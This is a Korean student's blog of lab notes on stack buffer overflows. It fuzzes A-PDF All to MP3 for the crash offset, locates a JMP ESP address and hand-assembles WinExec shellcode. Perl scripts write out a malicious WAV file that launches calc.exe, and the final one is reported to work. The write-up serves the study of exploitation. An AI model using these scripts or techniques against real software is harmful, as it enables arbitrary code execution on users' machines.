Wednesday, January 16, 2019

스택 기반 버퍼오버플로우_2

STACK 기반 

Buffer Overflow_1에 이어서


앞서 실험했을 때 RETN주소가 계속바뀌어 주소 삽입은 방법이 되지 못함

[참고]
MP, CALL, RET 는 방향의 변환을 주는 언어기 때문에 주의해서 볼 것



  • Return to Shellcode에 JMP ESP 가 있는 곳을 주소로 대입(예.00401111)하면 STACK 에 Shell code부분이 ESP의 주소가 들어가므로 ESP가 실행됨
( shellcode에 직접 삽입할 필요가 없음 )



  • 여기서 JMP ESP 검색



  •  이 주소를 이용해서 시도



  •  PERL 파일 만들어서 execute
    • 리턴값과 쉘값을 직접 넣어줌
 # Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x45\xFB\x63\x36\xC6\x45\xFC\x61\x36\xC6\x45\xFD\x68\x36\xC6\x45\xFE\x63\x36\xC6\x45\xFF\x00\x6A\x05\x36\x8D\x45\xFB\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • 결과
더미값의 수, rtn값주소 다 맞음
(실행시켰을 때 내가 만들어놓은 함수에게로 도착함)
근데 실행되기 바로 직전에 멈춤
이유 : EBP의 값이 41414141,-> ESP와 EBP사이에 쉘코드를 넣어줘야하므로 EBP를 더 아래로 내려줘야한다.

  • 그러므로 ShellCode를 다시 짜야함 EBP기준을 ESP로
어셈블리어
39bytes이상으로 넉넉하게 잡기위해서 50으로 



리버싱



바이너리만 카피해서 기계어 뽑아내기



 # Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x6A\x05\x36\x8D\x44\x24\x50\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • TIP으로 실행
함수가 진행되고 난 다음인데 계산기 창이 뜨지 않음
ESP를 기준으로 사용할 때는 PUSH 값이 중요함
ShellCode를 바꿔야한다는 의미



  • 쉘코드 변경
 PUSH 5 는 SW_SHOW의 인자값이 5


 # Fuzzer2
my $file= "ne20.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x36\x8D\x44\x24\x50\x6A\x05\x50\xBE\xAD\x23\x86\x7C\xFF\xD6"
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);


  • 기계어뽑아내서 wav 파일을 만들어서 실행
성공-!


2019-01-06

스택 기반 버퍼오버플로우_1

Buffer Over Flow 취약점

A-PDF All to MP3.exe의 취약점을 이용하여 동영상을 음악파일로 바꿀때 계산기를 띄워보자


실습

취약점을 통하여 
A-PDF All To MP3 에 
exploit.wav를 변환시키면 
프로그램은 꺼지고 계산기가 켜진다




  • 먼저, A-PDF All To MP3 를 디버깅

디버깅 불가한 PE File



[ TIP ]


  A-PDF All To MP3에서 exploit1.wav를 실행시키기 전 상태로 두고





  Immunity Debugger에서 Attach를 실행



  현재 사용중인 창이 보이므로 Alltomp3를 실행



  Alltomp3가 실행되며, 이렇게 리턴부분이 보임

   열기를 누르기 직전상태

   진행하다보면 꺼짐

TIP 방법을 사용하여 OPEN 해야함



  • Fuzzing으로 Fuzzer하여 갑자기 꺼지는 dummy의 수를 가늠해보고 거기에 근접한 값을 찾아서 접근하여 보자
         사용프로그램 : Perl, HexD


    • Fuzzer1.pl 확장자로 만들어서



    • wav파일로 만들기

tip을 사용할 때,
fuzz1.wav로 연결하고 F9를 눌러 Run상태에서 A-PDF 파일변환을 실시


    • STRAWBERRY PERL 또는 HxD를 이용하여 꺼지는 BYTE수 찾아내기

위의 방법을 반복하여 꺼지는 바이트 수의 영역을 좁혀가기



https://wiremask.eu/tools/buffer-overflow-pattern-generator/
를 이용해서 엇비슷한 BYTE수를 구함


    • HxD 를 이용하여 wav파일 만들기

위의 코드를 이용해서 프로그램이 터지도록 수를 잡아놓음


    • EIP 의 값을 확인

만든 wav파일을 실행시켜 디버깅이 불가능한 상태로 만듬
EIP : 다음 실행해야할 명령어가 저장된 포인터


16진수->10진수



EIP의 값의 주소가 RETURNPOINT


    • 찾은 값을 사용해 PAYLOAD 만들기







RETURNPOINT가 계속 바뀜
그러므로 다른 방법 강구


2019-01-15

Tuesday, January 15, 2019

쉘코드로 계산기 실행

2019-01-15

SHELL CODE


  • 환경 : Unix-Linux
    • Windows 는 Shell 대용
  • Shell을 실행시키는 Code (기계어 코드)
  • Bash Shell을 실행시키면 마음대로 본 서버를 자유자재로 사용가능



소프트웨어 오작동을 이용하여, 
계산기를 실행시켜보기


  • 변수의 크기는 12byte 설정하였으나 읽어드릴 수 있는 데이터의 양은 1024인 점을 활용하여 계산기 실행시키기



    • 먼저, calc.exe가 실행되는 구조를 파악하기
[ calc.exe ]
PUSH-PUSH-CALL 로 WinExec함수가 실행됨




    • txtReader.exe를 파악하기

[ fread 함수 ]
main 함수 ( 파일을 읽는 부분 )을 파악
fread가 실행되기 이전.


[ fread 함수 ]
fread 함수가 실행되면서 파일의 내용이 들어감

이부분에 calc.exe가 실행되는 함수를 삽입하면 될 듯



  • calc.exe의 실행함수, WinExec가 실행되도록 Shell Code를 만들어보기




    • WinExec함수의 어셈블리어를 기계어로 바꿔보기
[ 버퍼 + 리턴주소 + 쉘코드 ]
더미값은 12byte로 지정하였기때문에 12byte를 채움
리턴주소는 다음 함수가 실행될 곳(main함수)으로 지정
쉘코드는 WinExec가 실행될 기계어부분

[ 공격페이로드를 HxD를 이용하여 변수로 지정 ]
txt파일로 저장


[ argv 로 지정 ]
값을 지정하고 오픈


[ fopen]
지정한 값으로 오픈됨


[ RETN 값 ]
STACK에 보이는 0012FF80 의 값 확인



[ RETN후의 주소이동을 들어가봄 ]
WinExec가 아닌
UnhandledExcep 이라는 다른 함수가 들어가 있음


[ 0012FF84 ]
0012FF80 으로 리턴주소를 잡았는데 RETN값 에러


  • 리턴주소 수정하기
    • WinExec함수의 어셈블리어를 기계어로 바꾸기

[ Visual Studio ]
calc.exe 가 WinExec로 실행되는 소스코그
어셈블리어 함수를 기계어로 바꾸어주는 프로그램이 따로 있어 사용하면 좋으나
리버싱을 통하여 어셈블리어와 기계어를 파악하기위해 비주얼 스투디오를 사용


[ 위의 소스코드 ]
Release하여 Reversing
입력한 값대로 어셈블리어가 나옴
기계어를 뽑아내어 보기


[ 기계어만 뽑아내기 ]


[ 값을 정리하여 보면 ]


[ HxD로 txt파일 만들어서 argv,argc로 지정 ]


[ argc 값을 넣고 실행 ]


[ RETN 값으로 넣은대로 나옴 ]


[ 값이 대입됨 ]
0012FFBC 기계어확인


[ 다 들어감 ]

 
[ calc.exe 가 push ]


[ calc.exe 실행됨 ]




List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...